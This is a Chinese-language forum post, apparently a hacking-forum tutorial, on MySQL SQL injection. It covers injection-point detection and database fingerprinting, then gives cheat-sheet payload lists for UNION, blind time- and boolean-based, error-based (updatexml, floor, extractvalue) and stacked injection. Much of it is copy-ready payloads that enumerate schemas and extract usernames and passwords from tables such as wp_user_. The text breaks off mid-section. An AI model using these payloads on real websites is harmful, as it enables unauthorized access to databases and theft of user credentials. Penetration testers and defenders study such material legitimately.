taibeihacker
Moderator
1 数据库相关
1.1 定义
數據庫是一個存儲數據的倉庫,以一定方式存儲在一起、能與多個用戶共享、具有盡可能小的冗餘度,與應用程序彼此獨立的數據集合
1.2 分类
关系型数据库 - SQL類似表格,表與表之前存在復雜的關係MySQL、SQLServer 等
非关系型数据库 - NoSQLKey - Value 形式,簡化數據庫結構、避免冗餘。
MangoDB、Redis、memcached
1.3 基本操作
查看数据库1show databases();
使用数据库1
use information_schema
查看当前使用数据库1
select database();
查看数据表1
show tables();
查看数据库版本1
select version();
使用当前数据库的用户1
select user();
查看数据库路径1
select @@datadir
查看安装路径1
select @@basedir
查看系统类型1
select @@version_compile_os
1.4 元数据表 - information_schema
information_schema是信息數據庫其中保存著關於MySQL 服務器所維護的所有其他數據庫的信息。如數據庫名,數據庫的表,表的數據類型與訪問權限等。對於Web 滲透過程中用途很大SCHEMATA表:提供了當前MySQL 實例中所有數據庫的信息。是show databases 的結果取之此表。
TABLES表:提供了關於數據庫中的表的信息(包括視圖)。
COLUMNS表:提供了表中的列信息。詳細表述了某張表的所有列以及每個列的信息。
通过元数据表查询数据表1
select table_name from information_schema.tables where table_schema='test';
通过元数据表查询数据列1
select column_name from information_schema.columns where table_name='table1';
2 SQL 注入定义及类型
2.1 定义
發生於應用程序與數據庫層的安全漏洞網站內部直接發送的SQL 請求一般不會有危險,但實際情況是很多時候需要結合用戶的輸入數據動態構造SQL 語句,如果用輸入的數據被構造成惡意SQL 代碼,Web 應用又未對動態構造的SQL 語句使用的參數進行審查,則會帶來安全風險。
形成原因用戶能夠控制傳參
SQL 語句中拼接了用戶傳參的內容
拼接後的SQL 語句在數據庫中執行
總結:用戶輸入的數據作為代碼執行
2.2 分类
布爾型注入聯合查詢注入
時間型注入
報錯型注入
堆疊注入(多語句查詢注入)
3 判断 SQL 注入
問題判斷該訪問目標URL 是否存在SQL 注入?
如果存在SQL 注入,那麼屬於哪種SQL 注入?
判斷SQL 注入後端數據庫的類型?
3.1 经典的单引号判断法
如果頁面返回錯誤,則存在SQL 注入;原因是無論字符型還是整型都會因為單引號個數不匹配而報錯。3.2 判断注入类型
数字型通常構造and 1=1 以及and 1=2 來判斷运算符判断法:這種判斷方法的關鍵在於通過加、減、乘、除等運算,判斷輸入參數附近有沒有引號包裹,再通過一些通用的攻擊手段,獲取數據庫的敏感信息。
字符型通常構造and '1'='1 以及and '1'='2 來判斷
类型转换判断法:在MySQL 中,等號兩邊如果類型不一致,則會發生強制轉換。當數字與字符串數據比較時,字符串將被轉換為數字,再進行比較。字符串1 與數字相等;字符串1a 被強制轉換成1,與1 相等;字符串a 被強制轉換成0 所以與0 相等。

按照這個特性,我們容易判斷輸入點是否為字符型,也就是是否有引號(可能是單引號也可能是雙引號,絕大多數情況下是單引號)包裹。訪問?id=3-2,頁面為空,不是數字型,可能是字符型。繼續嘗試訪問?id=2a,成功返回結果,說明是字符型。
3.3 SQL 数据库的类型
3.3.1 通过报错信息
MySQLyou have an error in your SQL syntax,check the manual that corrsponds to your mysql server version for the tifht syntax to use near ” at line x
Access
Microsoft JET Database…
MSSQL
Microsoft ODBC Database…
3.3.2 数据库标志性信息
sql server:select @@version--Oracle:select banner from v$version
mysql:select @@version,version()-- ,length(user)0正常
postgresql:select version()--
3.3.3 数据库特有库名
MySQL:information_schemaAccess:mysysobjects
Oracle:sys.user_tables
MSSQL:sysobjects
3.3.4 数据库特有函数
sql server:@@pack_received @@rowcountmysql:connection_id()、last_insert_id()、row_count()
orcale:bitand(1,1)
postgresql: select extract(dow from now())
在mssql 中可以調用substring。 oracle 則只可調用substr
3.3.5 字符串处理方式
mssql:id=1 and 'a'+'b'='ab'mysql:id=1 and 'a'+'b'='ab' , 'ab'=concat('a','b')
oracle:id=1 and 'a'+'b'='a'||'b' ,'ab'=concat('a','b')
postgresql:id=1 and 'a'+'b'='a'||'b' ,'ab'=concat('a','b')
3.3.6 特殊符号及注释
null 和%00 是access 支持的註釋# 是MySQL 中的註釋符,返回錯誤說明該注入點可能不是MySQL,另外也支持-- ,和/* */註釋
-- 和/* */是Oracle,SQL server 和MySQL 支持的註釋符,如果正常,說明可能就是這三個數據庫其中之一。
; 是子句查詢標識符,在Oracle 中不支持多行查詢,返回錯誤,很可能是Oracle 數據庫。
4 UNION 联合查询注入
4.1 原理
union 操作符用於合併兩個查詢或者多個select 語句的結果集資訊
UNION 內部的select 語句必須有相同數量的列。
通過UNION 聯合查詢,直接將查詢的結果返回給頁面,是最簡單的一種注入方式。
4.2 常用语句
12
3
4
5
6
7
8
9
10
11
12
13
//庫名
union select 1,group_concat(schema_name),3 from information_schema.schemata
union select 1,(select schema_name from information_schema.schemata limit 0,1),3
//表名
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'
//列名
union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='emails'
//數據
union select 1,group_concat(id,email_id),3 from security.emails
5 时间型盲注 布尔型盲注
盲注是注入的一種,指的是在不知道數據庫返回值的情況下對數據中的內容進行猜測,實施SQL 注入。盲註一般分為布爾盲注和基於時間的盲注和報錯的盲注。时间型:通過注入特定語句,根據頁面請求的物理反饋,來判斷是否注入成功,如:在SQL 語句中使用sleep() 函數看加載網頁的時間來判斷注入點。
布尔型:頁面只返回True 和False 兩種狀態(類型)頁面。利用頁面返回不同,逐個猜解數據。
適用場景:通常無法從顯示頁面上獲取執行結果,甚至連注入語句是否執行都無從得知。
5.1 原理示意
select * from user where id='?'? 為用戶輸入,替代為:4' and sleep(3)#
實際執行的SQL 語句:select * from user where id='4' and sleep(3)#
當ID=4 存在時,sleep 3 秒
當ID=4 不存在時,直接返回
整條拼接出來的SQL 是正確的就執行sleep,前面錯誤(不存在),sleep(3) 不執行
5.2 常用函数
5.2.1 编码转换函数
ord('a'):將字符轉化為ascii 碼ascii('a'):將字符轉化為ascii 碼
char(97):將ascii 轉化為字符
5.2.2 条件判断函数
if(exp1, exp2, exp3):exp1 成立,執行exp2,否則執行exp3。case when then 函數:select case when username='admin' then sleep(1) else 'error' end from wp_user_
5.2.3 截取函数
substr 函数substr(str, pos, len):從pos 位置開始,截取字符串str 的len 長度substr(str from pos for length) :可以用在過濾了, 的情況
substring 函数substring(str, pos, len):從pos 位置開始,截取字符串str 的len 長度
substring(str from pos for length) :可以用在過濾了, 的情況
注意:pos 從1 開始
1
2
3
id=1 and if(ord(substr(database(),1,1))=116,1,0)%23
select substring(database(), from 1 for 1)
select substring(database(), 0, 1)
mid 函数mid(str, pos, length)
mid(str from pos for length)
1
2
select mid(database(), from 1 for 1)
select mid(database(), 1, 1)
left 函数從左開始截取字符串
left(str, len)
1
select left(database(), 1)
right 函数從右開始截取字符串
right(str, len)
利用正则表达式逐位匹配1
2
3
4
select * from wp_user_ where password rlike '^1'
select * from wp_user_ where password REGEXP '^1'
select * from wp_user_ where password REGEXP '^12'
.
5.2.4 延时函数
sleep
1
if(ascii(substr(database() from 0))=97, sleep(3),0)
benchmark(count, sha(1)):執行sha(1) 函數count 次達到延時的目的
1
SELECT BENCHMARK(10000000, sha(1))
利用笛卡爾積製造延時:
1
SELECT count(*) from information_schema.columns A, information_schema.columns B, information_schema.tables C;
利用正則表達式匹配長字符串製造延時:
1
select * from wp_user_ where id=1 and IF(1,concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999 ,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',0)
5.2.5 其它函数
count():計算總數length():返回字符串的長度
6 报错型注入
6.1 原理
用於使用SQL 語句報錯的語法,用於注入結果無回顯,但顯示錯誤信息有輸出的情況返回的信息即是攻擊者需要的信息
MySQL 報錯注入主要分為以下幾類:
BigInt 等數據類型溢出
Xpath 語法錯誤
count() + rand() + group by 導致主鍵重複
空間數據類型函數錯誤
6.2 常用函数
6.2.1 updatexml
updatexml 第二個參數需要傳入的是Xpath 格式的字符串。輸入不符合,將參數值返回並報錯。報錯長度最大為32 位
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//顯示當前數據庫
updatexml(1,CONCAT(0x7e, database()),1)
//顯示所有數據庫
updatexml(1,CONCAT(0x7e,(select schema_name FROM INFORMATION_SCHEMA.SCHEMATA limit x,1),0x7e),1)
//獲取表名
updatexml(1,CONCAT(0x7e,(select table_name from information_schema.tables where table_schema='sectest' limit x,1),0x7e),1)
updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)
//獲取列名
updatexml(1,CONCAT(0x7e,(select column_name from information_schema.COLUMNS where table_name='wp_user_' limit 1,1),0x7e),1)
updatexml(1,make_set(3,'~',(select group_concat(column_name) from information_schema.columns where table_name='users')),1)
//獲取數據
updatexml(1,CONCAT(0x7e,(select username from wp_user_ limit 0,1),0x7e),1)
updatexml(1,CONCAT(0x7e,(select password from wp_user_ where username='admin' limit 0,1),0x7e),1)
updatexml(1,CONCAT(0x7e,(select GROUP_CONCAT(username,0x3a, password) from wp_user_ where id=1),0x7e),1)
updatexml(1,make_set(3,'~',(select data from users)),1)#
6.2.2 floor 显错注入
12
3
and (select 1 from (select count(*), concat(user(), floor(rand(0)*2))x from information_schema.tables group by x)a)
and (select 1 from (select count(*), concat((select group_concat(username,0x3a,password) from wp_user_ where id=1), floor(rand(0)*2))x from information_schema.tables group by x)a)
6.2.3 其它显错注入
12
3
4
5
6
7
and extractvalue(1,concat(0x7e,(select database())))
//1105 - XPATH syntax error: '~sectest', Time: 0.000000s
and exp(~(select * from (select user())a)) //mysql5
union select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))a;
//1060 - Duplicate column name '5.7.23', Time: 0.000000s
6.3 Demo
payload12
3
4
updatexml(1,concat(0x7e,(version())),0)
$sql=' select * from users where username='' and updatexml /*' and password='*/(1,concat(0x7e,(version())),0) or '1' '
7 堆叠注入
一堆SQL 語句(多條)一起執行在MySQL 中,主要是命令行中,每條語句結尾加; 表示語句結束。這樣可以考慮多條SQL 語句一起使用
問題
堆疊注入和UNION 注入的差別是?
UNION 執行的語句類型是有限的,只可以用來執行查詢語句
而堆疊注入可以執行任意語句
注意